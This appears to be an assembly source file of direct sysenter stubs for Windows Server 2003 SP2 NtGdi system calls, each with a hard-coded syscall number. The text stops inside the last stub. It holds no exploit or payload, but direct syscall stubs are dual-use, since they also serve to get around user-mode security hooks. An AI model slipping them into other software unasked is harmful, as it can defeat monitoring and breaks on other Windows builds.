_5_2_3790_sp2_windows_2003_NtGdiGetAndSetDCDword PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 4250
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiGetAndSetDCDword ENDP
; ULONG __stdcall NtGdiGetAppClipBox( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtGdiGetAppClipBox PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4251
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiGetAppClipBox ENDP
; ULONG __stdcall NtGdiGetBitmapBits( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_5_2_3790_sp2_windows_2003_NtGdiGetBitmapBits PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 4252
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiGetBitmapBits ENDP
; ULONG __stdcall NtGdiGetBitmapDimension( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtGdiGetBitmapDimension PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4253
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiGetBitmapDimension ENDP
; ULONG __stdcall NtGdiGetBoundsRect( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_5_2_3790_sp2_windows_2003_NtGdiGetBoundsRect PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 4254
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiGetBoundsRect ENDP
; ULONG __stdcall NtGdiGetCharABCWidthsW( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
_5_2_3790_sp2_windows_2003_NtGdiGetCharABCWidthsW PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 4255
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiGetCharABCWidthsW ENDP
; ULONG __stdcall NtGdiGetCharacterPlacementW( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
_5_2_3790_sp2_windows_2003_NtGdiGetCharacterPlacementW PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 4256
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiGetCharacterPlacementW ENDP
; ULONG __stdcall NtGdiGetCharSet( ULONG arg_01 );
_5_2_3790_sp2_windows_2003_NtGdiGetCharSet PROC STDCALL arg_01:DWORD
mov eax , 4257
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiGetCharSet ENDP
; ULONG __stdcall NtGdiGetCharWidthW( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
_5_2_3790_sp2_windows_2003_NtGdiGetCharWidthW PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 4258
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiGetCharWidthW ENDP
; ULONG __stdcall NtGdiGetCharWidthInfo( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtGdiGetCharWidthInfo PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4259
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiGetCharWidthInfo ENDP
; ULONG __stdcall NtGdiGetColorAdjustment( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtGdiGetColorAdjustment PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4260
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiGetColorAdjustment ENDP
; ULONG __stdcall NtGdiGetColorSpaceforBitmap( ULONG arg_01 );
_5_2_3790_sp2_windows_2003_NtGdiGetColorSpaceforBitmap PROC STDCALL arg_01:DWORD
mov eax , 4261
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiGetColorSpaceforBitmap ENDP
; ULONG __stdcall NtGdiGetDCDword( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_5_2_3790_sp2_windows_2003_NtGdiGetDCDword PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 4262
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiGetDCDword ENDP
; ULONG __stdcall NtGdiGetDCforBitmap( ULONG arg_01 );
_5_2_3790_sp2_windows_2003_NtGdiGetDCforBitmap PROC STDCALL arg_01:DWORD
mov eax , 4263
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiGetDCforBitmap ENDP
; ULONG __stdcall NtGdiGetDCObject( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtGdiGetDCObject PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4264
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiGetDCObject ENDP
; ULONG __stdcall NtGdiGetDCPoint( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_5_2_3790_sp2_windows_2003_NtGdiGetDCPoint PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 4265
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiGetDCPoint ENDP
; ULONG __stdcall NtGdiGetDeviceCaps( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtGdiGetDeviceCaps PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4266
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiGetDeviceCaps ENDP
; ULONG __stdcall NtGdiGetDeviceGammaRamp( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtGdiGetDeviceGammaRamp PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4267
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiGetDeviceGammaRamp ENDP
; ULONG __stdcall NtGdiGetDeviceCapsAll( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtGdiGetDeviceCapsAll PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4268
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiGetDeviceCapsAll ENDP
; ULONG __stdcall NtGdiGetDIBitsInternal( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 );
_5_2_3790_sp2_windows_2003_NtGdiGetDIBitsInternal PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD
mov eax , 4269
call _label_sysenter
ret 36
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiGetDIBitsInternal ENDP
; ULONG __stdcall NtGdiGetETM( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtGdiGetETM PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4270
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiGetETM ENDP
; ULONG __stdcall NtGdiGetEudcTimeStampEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_5_2_3790_sp2_windows_2003_NtGdiGetEudcTimeStampEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 4271
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiGetEudcTimeStampEx ENDP
; ULONG __stdcall NtGdiGetFontData( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
_5_2_3790_sp2_windows_2003_NtGdiGetFontData PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 4272
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiGetFontData ENDP
; ULONG __stdcall NtGdiGetFontResourceInfoInternalW( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 );
_5_2_3790_sp2_windows_2003_NtGdiGetFontResourceInfoInternalW PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD
mov eax , 4273
call _label_sysenter
ret 28
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiGetFontResourceInfoInternalW ENDP
; ULONG __stdcall NtGdiGetGlyphIndicesW( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
_5_2_3790_sp2_windows_2003_NtGdiGetGlyphIndicesW PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 4274
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiGetGlyphIndicesW ENDP
; ULONG __stdcall NtGdiGetGlyphIndicesWInternal( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
_5_2_3790_sp2_windows_2003_NtGdiGetGlyphIndicesWInternal PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 4275
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiGetGlyphIndicesWInternal ENDP
; ULONG __stdcall NtGdiGetGlyphOutline( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 );
_5_2_3790_sp2_windows_2003_NtGdiGetGlyphOutline PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD
mov eax , 4276
call _label_sysenter
ret 32
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiGetGlyphOutline ENDP
; ULONG __stdcall NtGdiGetKerningPairs( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_5_2_3790_sp2_windows_2003_NtGdiGetKerningPairs PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 4277
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiGetKerningPairs ENDP
; ULONG __stdcall NtGdiGetLinkedUFIs( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_5_2_3790_sp2_windows_2003_NtGdiGetLinkedUFIs PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 4278
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiGetLinkedUFIs ENDP
; ULONG __stdcall NtGdiGetMiterLimit( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtGdiGetMiterLimit PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4279
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiGetMiterLimit ENDP
; ULONG __stdcall NtGdiGetMonitorID( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_5_2_3790_sp2_windows_2003_NtGdiGetMonitorID PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 4280
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiGetMonitorID ENDP
; ULONG __stdcall NtGdiGetNearestColor( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtGdiGetNearestColor PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4281
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiGetNearestColor ENDP
; ULONG __stdcall NtGdiGetNearestPaletteIndex( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtGdiGetNearestPaletteIndex PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4282
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiGetNearestPaletteIndex ENDP
; ULONG __stdcall NtGdiGetObjectBitmapHandle( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtGdiGetObjectBitmapHandle PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4283
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiGetObjectBitmapHandle ENDP
; ULONG __stdcall NtGdiGetOutlineTextMetricsInternalW( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
_5_2_3790_sp2_windows_2003_NtGdiGetOutlineTextMetricsInternalW PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 4284
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiGetOutlineTextMetricsInternalW ENDP
; ULONG __stdcall NtGdiGetPath( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
_5_2_3790_sp2_windows_2003_NtGdiGetPath PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 4285
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiGetPath ENDP
; ULONG __stdcall NtGdiGetPixel( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_5_2_3790_sp2_windows_2003_NtGdiGetPixel PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 4286
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiGetPixel ENDP
; ULONG __stdcall NtGdiGetRandomRgn( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_5_2_3790_sp2_windows_2003_NtGdiGetRandomRgn PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 4287
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiGetRandomRgn ENDP
; ULONG __stdcall NtGdiGetRasterizerCaps( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtGdiGetRasterizerCaps PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4288
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiGetRasterizerCaps ENDP
; ULONG __stdcall NtGdiGetRealizationInfo( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_5_2_3790_sp2_windows_2003_NtGdiGetRealizationInfo PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 4289
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiGetRealizationInfo ENDP
; ULONG __stdcall NtGdiGetRegionData( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_5_2_3790_sp2_windows_2003_NtGdiGetRegionData PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 4290
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiGetRegionData ENDP
; ULONG __stdcall NtGdiGetRgnBox( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtGdiGetRgnBox PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4291
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiGetRgnBox ENDP
; ULONG __stdcall NtGdiGetServerMetaFileBits( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 );
_5_2_3790_sp2_windows_2003_NtGdiGetServerMetaFileBits PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD
mov eax , 4292
call _label_sysenter
ret 28
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiGetServerMetaFileBits ENDP
; ULONG __stdcall NtGdiGetSpoolMessage( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
_5_2_3790_sp2_windows_2003_NtGdiGetSpoolMessage PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 4293
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiGetSpoolMessage ENDP
; ULONG __stdcall NtGdiGetStats( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
_5_2_3790_sp2_windows_2003_NtGdiGetStats PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 4294
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiGetStats ENDP
; ULONG __stdcall NtGdiGetStockObject( ULONG arg_01 );
_5_2_3790_sp2_windows_2003_NtGdiGetStockObject PROC STDCALL arg_01:DWORD
mov eax , 4295
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiGetStockObject ENDP
; ULONG __stdcall NtGdiGetStringBitmapW( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
_5_2_3790_sp2_windows_2003_NtGdiGetStringBitmapW PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 4296
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiGetStringBitmapW ENDP
; ULONG __stdcall NtGdiGetSystemPaletteUse( ULONG arg_01 );
_5_2_3790_sp2_windows_2003_NtGdiGetSystemPaletteUse PROC STDCALL arg_01:DWORD
mov eax , 4297
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiGetSystemPaletteUse ENDP
; ULONG __stdcall NtGdiGetTextCharsetInfo( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_5_2_3790_sp2_windows_2003_NtGdiGetTextCharsetInfo PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 4298
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiGetTextCharsetInfo ENDP
; ULONG __stdcall NtGdiGetTextExtent( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
_5_2_3790_sp2_windows_2003_NtGdiGetTextExtent PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 4299
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiGetTextExtent ENDP
; ULONG __stdcall NtGdiGetTextExtentExW( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 );
_5_2_3790_sp2_windows_2003_NtGdiGetTextExtentExW PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD
mov eax , 4300
call _label_sysenter
ret 32
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiGetTextExtentExW ENDP
; ULONG __stdcall NtGdiGetTextFaceW( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
_5_2_3790_sp2_windows_2003_NtGdiGetTextFaceW PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 4301
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiGetTextFaceW ENDP
; ULONG __stdcall NtGdiGetTextMetricsW( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_5_2_3790_sp2_windows_2003_NtGdiGetTextMetricsW PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 4302
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiGetTextMetricsW ENDP
; ULONG __stdcall NtGdiGetTransform( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_5_2_3790_sp2_windows_2003_NtGdiGetTransform PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 4303
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiGetTransform ENDP
; ULONG __stdcall NtGdiGetUFI( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
_5_2_3790_sp2_windows_2003_NtGdiGetUFI PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 4304
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiGetUFI ENDP
; ULONG __stdcall NtGdiGetEmbUFI( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 );
_5_2_3790_sp2_windows_2003_NtGdiGetEmbUFI PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD
mov eax , 4305
call _label_sysenter
ret 28
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiGetEmbUFI ENDP
; ULONG __stdcall NtGdiGetUFIPathname( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 );
_5_2_3790_sp2_windows_2003_NtGdiGetUFIPathname PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD
mov eax , 4306
call _label_sysenter
ret 40
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiGetUFIPathname ENDP
; ULONG __stdcall NtGdiGetEmbedFonts( );
_5_2_3790_sp2_windows_2003_NtGdiGetEmbedFonts PROC STDCALL
mov eax , 4307
call _label_sysenter
ret
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiGetEmbedFonts ENDP
; ULONG __stdcall NtGdiChangeGhostFont( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtGdiChangeGhostFont PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4308
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiChangeGhostFont ENDP
; ULONG __stdcall NtGdiAddEmbFontToDC( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtGdiAddEmbFontToDC PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4309
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiAddEmbFontToDC ENDP
; ULONG __stdcall NtGdiGetFontUnicodeRanges( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtGdiGetFontUnicodeRanges PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4310
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiGetFontUnicodeRanges ENDP
; ULONG __stdcall NtGdiGetWidthTable( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 );
_5_2_3790_sp2_windows_2003_NtGdiGetWidthTable PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD
mov eax , 4311
call _label_sysenter
ret 28
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiGetWidthTable ENDP
; ULONG __stdcall NtGdiGradientFill( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
_5_2_3790_sp2_windows_2003_NtGdiGradientFill PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 4312
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiGradientFill ENDP
; ULONG __stdcall NtGdiHfontCreate( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
_5_2_3790_sp2_windows_2003_NtGdiHfontCreate PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 4313
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
